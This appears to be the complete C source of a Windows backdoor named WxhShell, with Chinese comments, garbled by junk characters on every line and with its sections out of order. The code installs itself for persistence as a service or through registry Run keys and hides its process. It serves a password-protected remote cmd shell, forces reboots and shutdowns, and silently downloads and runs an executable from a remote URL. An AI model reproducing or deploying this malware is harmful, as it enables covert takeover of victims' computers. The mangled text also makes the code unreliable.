    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `<]P"G  
    if(Boot(SHUTDOWN)) DzX6U[=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v.~Nv@+kR  
    else { jgZX ~D  
    closesocket(wsh); I1eb31<  
    ExitThread(0); hr/xpQW  
    } mI _ 6f~  
    break; ex;Y n{4  
    } s+OvS9et_  
  // 获取shell NKIkd  
  case 's': { 'ugR!o1  
    CmdShell(wsh); BP7<^`i&  
    closesocket(wsh); cG~_EX$  
    ExitThread(0); T1g:gfw@  
    break; q\{;_?a  
  } 'tq\<y  
  // 退出 M8 ^ziZY  
  case 'x': { S[\cT:{OE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8ESkG  
    CloseIt(wsh); _BeX7  
    break; gn;nS{A  
    } ,=XS%g}l4  
  // 离开 ( S C7m /  
  case 'q': { X:zyzEhS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /_ hfjCE  
    closesocket(wsh); g:@Cg.q8  
    WSACleanup(); |zr)hC  
    exit(1); A ydy=sj  
    break; uMq\];7I  
        } 6 ^6uK  
  } cSHtl<UY  
  } B<|q{D$N/  
l1`c?Y  
  // 提示信息 @eG#%6">  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^YB\\a9  
} T^f&58{ 7  
  } ] BP^.N=  
2yVGE p^  
  return; |eVTxeq  
} lN]X2 4t  
:">~(Rd ZH  
// shell模块句柄 *I;Mp  
int CmdShell(SOCKET sock) s>"WQ|;6  
{ <)0LwkFtB  
STARTUPINFO si; 4^jZv$l5  
ZeroMemory(&si,sizeof(si)); p lz=G}Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U`vt/#j 1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :`!mCW`Q-  
PROCESS_INFORMATION ProcessInfo; 9R t(G_'  
char cmdline[]="cmd"; nu1w:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  hE?GO,  
  return 0; })yb   
} .bY1N5=sz  
+MZ2e^\F  
// 自身启动模式 `zvT5=*-#  
int StartFromService(void) u.xA}yVS  
{ U%S NROj  
typedef struct Ov{B-zCA  
{ [;kj,j  
  DWORD ExitStatus; !UPAEA  
  DWORD PebBaseAddress; =,} !Ns{k  
  DWORD AffinityMask; 2[bR6 T89  
  DWORD BasePriority; Xb07 l3UG  
  ULONG UniqueProcessId; s$=B~l  
  ULONG InheritedFromUniqueProcessId; b "AHw?5F  
}   PROCESS_BASIC_INFORMATION; v*T@ <]f3j  
;tIIEc  
PROCNTQSIP NtQueryInformationProcess; h^3Vd K,  
E '6 z7m.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &<; nl^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h hNFp  
>+W?!9[p:2  
  HANDLE             hProcess; q=i,'.nS  
  PROCESS_BASIC_INFORMATION pbi; h11bK'TIv  
f<x t3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t3h \.(mq  
  if(NULL == hInst ) return 0; !un"XI0`t<  
rt4|GVa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^c:eXoU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~m"M#1,ln3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {Ac3/UM/  
h: (l+jr  
  if (!NtQueryInformationProcess) return 0; kv`3Y0R-"  
R|^t~h-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BtDgv.;GH  
  if(!hProcess) return 0; HoQ(1e$G-  
8B(Q7Qj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m$e@<~To  
>5YYij5Aj  
  CloseHandle(hProcess); s!zr>N"  
1,sO =p)Yg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _KlPbyLU  
if(hProcess==NULL) return 0; )Z`viT  
.~/;v~bL  
HMODULE hMod; }N=zn7W  
char procName[255]; I5AjEp  
unsigned long cbNeeded; jq]\oY8y  
]{l O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;Q%19f3,6  
ckkM)|kK  
  CloseHandle(hProcess); p RfHbPV?  
Wn)A/Z ^r  
if(strstr(procName,"services")) return 1; // 以服务启动 .m % x-i  
N/SB}F j  
  return 0; // 注册表启动 )}Mt'd  
} gj(l&F *@  
8*X L19N  
// 主模块 d(cYtM,P  
int StartWxhshell(LPSTR lpCmdLine) )fcpE,g'  
{ [;\< 2=H  
  SOCKET wsl; r4qV}-E  
BOOL val=TRUE; ^*T{-U'  
  int port=0; y#SD-# I-  
  struct sockaddr_in door; SX<>6vH&  
N,'qMoNf  
  if(wscfg.ws_autoins) Install(); ( ]uoN4  
;{#M  
port=atoi(lpCmdLine); /t2 <OU9  
4rCqN.J  
if(port<=0) port=wscfg.ws_port; e2H'uMy;&  
XT;IEZQZ  
  WSADATA data; 7UnO/K7oB.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v?iH}7zb%Q  
CX(yrP6;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `E%d$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x[<#mt  
  door.sin_family = AF_INET; eFI9S.6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >WG91b<Xq  
  door.sin_port = htons(port); dJgOfg^  
GAe_Z( T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4zvU"np  
closesocket(wsl); "VhrsVT  
return 1; z[I/ AORl  
} ,}$x'8v  
5Ddyb%  
  if(listen(wsl,2) == INVALID_SOCKET) { `Y9}5p  
closesocket(wsl); Y@xeyMzE  
return 1; )qQg n]  
} 1+[|pXT}  
  Wxhshell(wsl); 3B]+]e~  
  WSACleanup(); Bc` A]U  
WN?`Od:y  
return 0; fpC@3itI  
v8M#%QoA  
} m(Xr5hw:6  
&_TjRj"  
// 以NT服务方式启动 Q#AHEm{9;s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M(gWd8?#  
{ )Syf5I  
DWORD   status = 0; G\+MT(&5  
  DWORD   specificError = 0xfffffff; I>\?t4t  
))-M+CA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H_^u_ %:e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JaN_[ou  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QRix_2+  
  serviceStatus.dwWin32ExitCode     = 0; [_B&7#3>7  
  serviceStatus.dwServiceSpecificExitCode = 0; ]fmfX  
  serviceStatus.dwCheckPoint       = 0; Nv#, s_hG  
  serviceStatus.dwWaitHint       = 0; o*S $j Cf?  
X Ow^"=Oa[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P_Ja?)GT  
  if (hServiceStatusHandle==0) return; Tm,L?Jh  
Q>Q}/{8!  
status = GetLastError(); "uNxKLDB  
  if (status!=NO_ERROR) ^qy-el  
{ _A~gqOe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E^ti !4{<  
    serviceStatus.dwCheckPoint       = 0; SQ.Wj?W)  
    serviceStatus.dwWaitHint       = 0; Dy'l]vN$  
    serviceStatus.dwWin32ExitCode     = status; qt;Tfuo  
    serviceStatus.dwServiceSpecificExitCode = specificError; V'4}9J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0X6o  
    return; qOanu  
  } {;~iq  
'%7]xp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {Z;GNMO:  
  serviceStatus.dwCheckPoint       = 0; jCa;g{#@  
  serviceStatus.dwWaitHint       = 0; ,3[<C)'[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2fA9L _:0  
} `)P_X4e]`  
TniKH( w/  
// 处理NT服务事件,比如:启动、停止 `cRB!w=KHV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T`G"2|ISS  
{ L-TVe  
switch(fdwControl) 'Z9F0l"Nr  
{ Y3&ecEE  
case SERVICE_CONTROL_STOP: F'Vl\qPt  
  serviceStatus.dwWin32ExitCode = 0; sM_e_e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oVgNG!/c0  
  serviceStatus.dwCheckPoint   = 0; ${2fr&Tp  
  serviceStatus.dwWaitHint     = 0; XOFaS '.  
  { H2KY$;X [  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d+)L\ `4  
  } |}Lgo"cTC  
  return; !Z)^c&  
case SERVICE_CONTROL_PAUSE: B)NB6dCp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (ytkq(  
  break; I(S6DkU  
case SERVICE_CONTROL_CONTINUE: jzw?V9Ijb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U /Fomu  
  break; VG7#6)sQoK  
case SERVICE_CONTROL_INTERROGATE: q,Q|Uvpk  
  break; h}_q  
}; {<n)zLy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N/=3Bs0y-  
} 1r4/McB  
tYa*%|!v  
// 标准应用程序主函数 I-hhHm<@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H|O}Dsj  
{ 5Yr$dNe  
xUoY|$fI  
// 获取操作系统版本 Sa~C#[V  
OsIsNt=GetOsVer(); Wg&:xff  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #{1fb%L{i  
.9 QQ]fLs  
  // 从命令行安装 %q^]./3p  
  if(strpbrk(lpCmdLine,"iI")) Install(); v\FD~   
SsZzYj.d  
  // 下载执行文件 -/?<@*n  
if(wscfg.ws_downexe) { '_Oprx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b>WT-.b0  
  WinExec(wscfg.ws_filenam,SW_HIDE); {xH@8T$DX  
} {D#`+uw  
xx8na8  
if(!OsIsNt) { V|`|CVFo]  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zv93cv  
HideProc(); VV0$L=mo  
StartWxhshell(lpCmdLine); B8Z66#EQ  
} }lVUa{ubf  
else E(#2/E6  
  if(StartFromService()) h='=uj8o5  
  // 以服务方式启动 NR{:4zJT  
  StartServiceCtrlDispatcher(DispatchTable); 4r&~=up]  
else '~ 0&m]N  
  // 普通方式启动 a/fYD2uNo  
  StartWxhshell(lpCmdLine); _{%H*PxTn=  
8E{>czF"  
return 0; PMcyQ2R->  
} !C?z$5g  
lla96\R  
tAUMSr|?  
nc)`ISI  
=========================================== H_^c K  
~O6=dR  
Is[0ri   
":ycyN@g  
79_MP  
Viw3 /K  
" =KLYR UW  
QZol( 2~Y  
#include <stdio.h> D.?gV_  
#include <string.h> '-=?lyKv  
#include <windows.h> I4'j_X t  
#include <winsock2.h> %+~0+ev7r  
#include <winsvc.h> +L6d$+  
#include <urlmon.h> ?a@l.ZM*  
*VB*/^6A  
#pragma comment (lib, "Ws2_32.lib") ix;8S=eP~{  
#pragma comment (lib, "urlmon.lib") ^(R gSMuT`  
|Oe6OCPf  
#define MAX_USER   100 // 最大客户端连接数 Wt =[R 4=  
#define BUF_SOCK   200 // sock buffer 2_Z6 0]  
#define KEY_BUFF   255 // 输入 buffer RU=%yk-gM  
O/Vue  
#define REBOOT     0   // 重启 "/5b3^a  
#define SHUTDOWN   1   // 关机 sTDBK!9I  
FceT'  
#define DEF_PORT   5000 // 监听端口 5Mr:(|JyV  
Y|F);XXIl  
#define REG_LEN     16   // 注册表键长度 rH,N.H#]  
#define SVC_LEN     80   // NT服务名长度 , utFCZW  
4p.O<f;A8  
// 从dll定义API tN~{Mt$-W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "2J;~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); szHUHW~;J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4~4Hst#^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F<[8!^l(z  
n^K]R}S  
// wxhshell配置信息 %~~QXH\  
struct WSCFG { "'Ik{wGc  
  int ws_port;         // 监听端口 vq}V0- <  
  char ws_passstr[REG_LEN]; // 口令 J']W7!p  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5> UgBA  
  char ws_regname[REG_LEN]; // 注册表键名 E2MpMR  
  char ws_svcname[REG_LEN]; // 服务名 aH_&=/-Tz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dp8(L ]6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S(pfd2^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F+GQl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <S qbj;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b~}}{fm&f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )8;'fE[p}  
bHCd|4e,2  
}; c1i7Rc{q  
 (c"!0v  
// default Wxhshell configuration IF=rD-x  
struct WSCFG wscfg={DEF_PORT, N@g+51ye  
    "xuhuanlingzhe", '5%DKz  
    1, ` Oi@7 /oT  
    "Wxhshell", 7_RU*U^  
    "Wxhshell", #p]O n87>  
            "WxhShell Service", (_* a4xGF  
    "Wrsky Windows CmdShell Service", s= :n<`Z2  
    "Please Input Your Password: ", !s$fqn 6  
  1, zv41Yv!x}  
  "http://www.wrsky.com/wxhshell.exe", ee0J;pP2#  
  "Wxhshell.exe" /bWV `*  
    }; !E%!,  
,3wo  
// 消息定义模块 Vr'Z5F*@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,Gfnf%H\8>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p: o*=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B?jF1F!9  
char *msg_ws_ext="\n\rExit."; `fs[C  
char *msg_ws_end="\n\rQuit."; vI-KH:r"{  
char *msg_ws_boot="\n\rReboot..."; MmX42;Pw  
char *msg_ws_poff="\n\rShutdown..."; U+KbvkX wj  
char *msg_ws_down="\n\rSave to "; MIgIt"M jz  
7Ny>W(8  
char *msg_ws_err="\n\rErr!"; Xe5J  
char *msg_ws_ok="\n\rOK!"; HN:{rAIfc  
}~7>S5  
char ExeFile[MAX_PATH]; $hL0/T-m  
int nUser = 0; m2;%|QE(  
HANDLE handles[MAX_USER]; |:\h3M  
int OsIsNt; z, OMR`W  
&HWH UWB  
SERVICE_STATUS       serviceStatus; Y , P-@(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7 ir T6O<.  
_u>+H#  
// 函数声明  *q^'%'  
int Install(void); ! M bRI  
int Uninstall(void); $z<CkMP!U7  
int DownloadFile(char *sURL, SOCKET wsh); og>f1NwS[  
int Boot(int flag); bHp|> g  
void HideProc(void); 9DIGK\  
int GetOsVer(void); L8V'mUyD  
int Wxhshell(SOCKET wsl); CTwP{[%Pk  
void TalkWithClient(void *cs); KT3[{lr  
int CmdShell(SOCKET sock); `]%{0 Rx  
int StartFromService(void); @y,p-##e  
int StartWxhshell(LPSTR lpCmdLine); '!_o`t@  
uuq?0t2Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VR'w$mp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 62W3W1: W  
n1H*][CK  
// 数据结构和表定义 lB-Njr  
SERVICE_TABLE_ENTRY DispatchTable[] = })J]D~!p  
{ wtZe\ h  
{wscfg.ws_svcname, NTServiceMain}, F*a+&% Q  
{NULL, NULL} t<e?f{Q5  
}; s#4 "f  
V@$B>HeK  
// 自我安装 7B'0(70  
int Install(void) Cnn,$R=/s  
{ IRpCbTIXK  
  char svExeFile[MAX_PATH]; 9<R:)Df  
  HKEY key; o:?IT/>  
  strcpy(svExeFile,ExeFile); 7QQnvoP  
R8ZW1  
// 如果是win9x系统,修改注册表设为自启动 pM>.z9  
if(!OsIsNt) { >9|Q,/b0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'HOt?lpu!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;N)qNiJY  
  RegCloseKey(key); cM55 vVd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { er97&5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b7\nCRY  
  RegCloseKey(key); 2hquE_1S[w  
  return 0; le*pd+>j  
    } W] RxRdY6[  
  } d@C93VYp  
} U7{, *  
else { >:Rc%ILym  
NWTsL OIm  
// 如果是NT以上系统,安装为系统服务 #KiRH* giU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^fRA$t  
if (schSCManager!=0) AR&u9Y)I  
{ ^.k}YSWut  
  SC_HANDLE schService = CreateService Jr#ptf"Wu  
  ( zg)]:  
  schSCManager, $PNR?  
  wscfg.ws_svcname, Wt_@ vs@.O  
  wscfg.ws_svcdisp, `TAhW  
  SERVICE_ALL_ACCESS, eQMY3/#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W4Zi?@L>'  
  SERVICE_AUTO_START, c: _l+CgeH  
  SERVICE_ERROR_NORMAL, {uq  
  svExeFile, T@X!vCjf6  
  NULL, qg+ 8i9Y!  
  NULL, SV-pS>#  
  NULL, *r[PZ{D+  
  NULL, ;X\,-pjv  
  NULL SC'fT!  
  ); 1;SWfKU?.  
  if (schService!=0) c\n\gQ:LQ  
  { `2 {x 8A  
  CloseServiceHandle(schService); tM~R?9OaJ  
  CloseServiceHandle(schSCManager); ,*Sj7qb#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y+@7k3"  
  strcat(svExeFile,wscfg.ws_svcname); =T!M`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dk/;`sXV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7 v#sr<  
  RegCloseKey(key); BsR xD9r  
  return 0; 'r3I/qg*m  
    } zxXm9zrLo  
  } "`16-g97  
  CloseServiceHandle(schSCManager); ]>&au8  
} Rs7=v2>I  
} &d=j_9   
YMC*<wXN  
return 1; |]^OX$d  
} 4h?[NOA"  
9=Y-w s  
// 自我卸载 EZao\,t  
int Uninstall(void) .#P'NF(5#  
{ *uNa( yd  
  HKEY key; S$ dFz  
Q!MS_ #O  
if(!OsIsNt) { YS%HZFY, "  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _r&`[@m  
  RegDeleteValue(key,wscfg.ws_regname); _z~|*7@  
  RegCloseKey(key); A@+pvC&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .X TBy/(0  
  RegDeleteValue(key,wscfg.ws_regname); ?~hC.5  
  RegCloseKey(key);  GVe[)R  
  return 0; BG/M3  
  } j$siCsF  
} eNpGa0 eG  
} Y0 Ta&TYZ0  
else { *e!0ZB3J  
^ola5wD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k#&d`?X  
if (schSCManager!=0) wm !Y5  
{ BH0].-)[y!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YR^J7b\  
  if (schService!=0) ma,H<0R  
  { ;5?$q  
  if(DeleteService(schService)!=0) { hxGZ}zq*S  
  CloseServiceHandle(schService); 6j+_)7.V  
  CloseServiceHandle(schSCManager); QVsOB$  
  return 0; C65( m  
  } +\2{{~_z  
  CloseServiceHandle(schService); N\BB8<F  
  } ?V3e;n  
  CloseServiceHandle(schSCManager); QJjqtOf>  
} h%9#~gJ})  
} Hcq?7_)  
l`4hWs\I  
return 1; a"4j9cO  
} .k|8nNj  
?zM]p"M  
// 从指定url下载文件 xp.~i*!`  
int DownloadFile(char *sURL, SOCKET wsh) 3{O^q/R  
{ FIDV5Y/f  
  HRESULT hr; >$j?2,Za(V  
char seps[]= "/"; .Ce30VE-  
char *token; K1Snag  
char *file; Tq,Kel  
char myURL[MAX_PATH]; }w}2'P'T  
char myFILE[MAX_PATH]; ozy~`$;c  
&A)AV<=>T  
strcpy(myURL,sURL); fucG 9B  
  token=strtok(myURL,seps); Q30A aG}f  
  while(token!=NULL) ~7IXJeon  
  { "AMbU6 8  
    file=token; _o`+c wc  
  token=strtok(NULL,seps); ?A+-k4l  
  } yY_Zq\   
p"\Z@c  
GetCurrentDirectory(MAX_PATH,myFILE); JTA65T{3  
strcat(myFILE, "\\"); t2uX+1F  
strcat(myFILE, file); ).0klwfV  
  send(wsh,myFILE,strlen(myFILE),0); B+:/!_  
send(wsh,"...",3,0); ZF^$?;'3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @8{-B;   
  if(hr==S_OK) dj>zy  
return 0; ?S9? ?y/  
else fP# !ywgr%  
return 1; +"Flu.+['  
wVX]"o  
} WdI9))J2S  
yyB;'4Af  
// 系统电源模块 \"Jgs.  
int Boot(int flag) "H\1Z,P<m  
{ %/iD@2r  
  HANDLE hToken; ova4  
  TOKEN_PRIVILEGES tkp; cNOtfn6?F  
^h\& l{e  
  if(OsIsNt) {  ~ "Xcd8:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zawnx=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yK9:LXhf  
    tkp.PrivilegeCount = 1; BQTZt'p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |Lf>Z2E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tqbYrF)  
if(flag==REBOOT) { -|V1A[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) imw,Nb  
  return 0; "%]<Co<S  
} ?"04u*u3  
else { ?i'N 9 /(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5argw+2s4$  
  return 0; b?i5C4=K  
} 0])D)%B k  
  } I8};t b#  
  else { uIh68UM  
if(flag==REBOOT) { b$FK}D5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F/p/&9  
  return 0; -@bOFClE  
} ,^wjtA 3j8  
else { pY.R?\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SzXR],dA  
  return 0; 8_$[SV$q  
} F^4mO|  
} `4IZ4sPi  
/vgEDw  
return 1; }Um,wY[tK  
} gI~B _0x  
R|D%1@i]  
// win9x进程隐藏模块 *{y({J  
void HideProc(void) <tUl(q+ty  
{ z H|YVg  
(>]frlEU~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "t0l)P*C}  
  if ( hKernel != NULL ) 2nra@  
  { VN3 [B eH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^5E:hW [*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ICdfak  
    FreeLibrary(hKernel); pTeN[Yu?  
  } 2P, %}Ms  
2`dKnaF|  
return; C*X=nezq  
} ibP IT!5c  
3ch<a0  
// 获取操作系统版本 >:J7u*>$'  
int GetOsVer(void) x&p.-Fi  
{ ]C'^&:&<  
  OSVERSIONINFO winfo; <S ae:m4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tfq7<<0$N  
  GetVersionEx(&winfo); +h ]~m_O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7m$EZTw?  
  return 1; Z1}@N/>>  
  else iWGn4p'  
  return 0; o[^nmHrM2  
} ~Vt?'v20@  
%fuV]  
// 客户端句柄模块 3QI.|;X  
int Wxhshell(SOCKET wsl) Llf#g#T  
{ 'nIKkQ" N  
  SOCKET wsh; 3-/F]}0y6  
  struct sockaddr_in client; H|)F-aL[  
  DWORD myID; pJdR`A-k|  
;IOM3'5 T@  
  while(nUser<MAX_USER) B@j2^Dr~!  
{ +lplQh@RB  
  int nSize=sizeof(client); sEymwpm9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YMn*i<m  
  if(wsh==INVALID_SOCKET) return 1; [CG3&J  
b^:frjaE3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^]5^p9Jt"e  
if(handles[nUser]==0) p!o-+@ava  
  closesocket(wsh); {nPiIPH  
else 1'B&e)  
  nUser++; )TfX}  
  } `O0bba=:=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SPT?Tt  
??#SQSU  
  return 0; V_3K((P6  
} _I?oR.ON33  
gb{8SG5ac  
// 关闭 socket :\Q#W4~p  
void CloseIt(SOCKET wsh) e_YTh^wU  
{ &#zx/$  
closesocket(wsh); FLo`EE":O(  
nUser--; ]T<tkvcI  
ExitThread(0); M3G ecjR  
} m Ce"=[  
w8D6j%C  
// 客户端请求句柄 :al ,zxs  
void TalkWithClient(void *cs) ,! H`@Kl  
{ D"msD"  
Q h{P>}  
  SOCKET wsh=(SOCKET)cs; !^'6&NR#K  
  char pwd[SVC_LEN]; SM8f"H28  
  char cmd[KEY_BUFF]; >fi_:o  
char chr[1]; )g?ox{Hol  
int i,j; ]JR2Av  
1'!D   
  while (nUser < MAX_USER) { F%f)oq`B  
_lDNYpv  
if(wscfg.ws_passstr) { |%oI,d=ycv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :6:,s#av  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $0gGRCCG;  
  //ZeroMemory(pwd,KEY_BUFF); @_$Un&eo  
      i=0; .ah[!O  
  while(i<SVC_LEN) { |It&1fz}  
,8.$!Zia  
  // 设置超时 >,ABE2t5  
  fd_set FdRead; [<|$If99\  
  struct timeval TimeOut; q/^?rd  
  FD_ZERO(&FdRead); 4T]A! y{  
  FD_SET(wsh,&FdRead); Y(u`K=*  
  TimeOut.tv_sec=8; 9;Q|" T  
  TimeOut.tv_usec=0; VAo`R9^D#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2bOl`{x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aoQ$"PF9  
QHxof7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H$V`,=H  
  pwd=chr[0]; dT0>\9ZNr  
  if(chr[0]==0xd || chr[0]==0xa) { j#Qnu0D  
  pwd=0; ^(s(4|  
  break; erKi*GssZ  
  } i &%m^p  
  i++; + 9I|F m  
    } Qz89=#W  
S,EL=3},=  
  // 如果是非法用户,关闭 socket *07?U")  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^/VnRpU  
} {+]tx46$  
W^7yh&@lU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jgiS/oW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \a4X},h\  
$;&l{=e2)  
while(1) { D|amKW7  
z9!OzGtIR  
  ZeroMemory(cmd,KEY_BUFF); /ykc`E?f  
-u7NBtgUh  
      // 自动支持客户端 telnet标准   qRR%aJ/  
  j=0; dBwoAq`'  
  while(j<KEY_BUFF) { +v~x_E5FP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \H9:%Tlp~4  
  cmd[j]=chr[0]; ]9PG"<^k  
  if(chr[0]==0xa || chr[0]==0xd) { mE=Ur  
  cmd[j]=0; ?6]B6  
  break; ~%2yDhdQ  
  } + MD84YR  
  j++; p6aR/gFkqv  
    } sH>`eqY  
puLgc$?  
  // 下载文件 }'?qUy3x  
  if(strstr(cmd,"http://")) { 8A5/jqnqt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x4/{XRQ  
  if(DownloadFile(cmd,wsh)) 6{{<+ o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {kBsiSvsA;  
  else ]28j$)6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QT5pn5+ z  
  } r{B28'f[  
  else { >28l9U  
"h #/b}/  
